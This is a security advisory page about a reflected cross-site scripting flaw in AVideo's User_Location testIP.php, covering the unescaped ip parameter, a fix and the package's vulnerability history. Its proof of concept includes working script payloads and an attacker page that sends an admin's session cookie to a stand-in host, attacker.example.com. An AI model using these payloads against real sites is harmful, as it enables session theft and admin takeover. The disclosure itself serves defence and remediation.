Medium

AVideo: Reflected XSS via Unescaped ip Parameter in User_Location testIP.php

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 10:22

Summary

The User_Location plugin's testIP.php page reflects the ip request parameter directly into an HTML input element without applying htmlspecialchars() or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's SameSite=None cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.

Details

At plugin/User_Location/testIP.php:16, the ip parameter is read from the request without sanitization:

php
$ip = $_REQUEST['ip'];

At line 34, the value is echoed directly into an HTML input element's value attribute:

php
<input type="text" name="ip" id="ip" class="form-control" value="<?php echo $ip; ?>">

No htmlspecialchars() is applied, allowing an attacker to break out of the value attribute and inject arbitrary HTML/JavaScript.

While the page requires admin authentication to access, AVideo sets session cookies with SameSite=None. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.

Proof of Concept

  1. Craft a URL with a payload that breaks out of the input value attribute:
https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip="><script>alert(document.cookie)</script>
  1. URL-encoded version for embedding in links:
https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
  1. The resulting HTML rendered in the browser:
html
<input type="text" name="ip" id="ip" class="form-control" value=""><script>alert(document.cookie)</script>">
  1. To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:
html
<!-- attacker-page.html -->
<html>
<body>
<p>Click here to check your IP geolocation:</p>
<a href="https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E">
  Check IP Location
</a>
</body>
</html>
  1. When an admin clicks the link, their session cookie is sent (due to SameSite=None), and the JavaScript executes in their authenticated session.

Impact

An attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses SameSite=None for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.

  • CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
  • Severity: Medium

Recommended Fix

Apply htmlspecialchars() when outputting the $ip variable at plugin/User_Location/testIP.php:34:

php
// plugin/User_Location/testIP.php:34
<input type="text" name="ip" id="ip" class="form-control" value="<?php echo htmlspecialchars($ip, ENT_QUOTES, 'UTF-8'); ?>">

Found by aisafe.io

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package wwbn/avideo <= 26.0 no fix

References

CVSS score 6.1/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Weakness (CWE)
CWE-79
Platform
Composer
Package
wwbn/avideo
Disclosed
01.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-jqrj-chh6-8h78 - CC BY 4.0

Vulnerability history: wwbn/avideo

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (160) in the archive
Total entries
160
First → latest
04.2022 06.2026
Without a fix
143
Exploited in attacks
0

Severity breakdown

  • Critical 14
  • High 61
  • Medium 83
  • Low 2

Disclosures per year

  1. 2022: 2
  2. 2023: 5
  3. 2024: 5
  4. 2025: 0
  5. 2026: 148
Severity:
  1. AVideo: Reflected XSS via Unescaped ip Parameter in User_Location testIP.php this entry
    Medium · 6.1 CVE-2026-34739 <= 26.0 no fix
  2. High · 9.8 CVE-2026-41304 <= 29.0 no fix
Show more (20) Showing 21 of 76

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.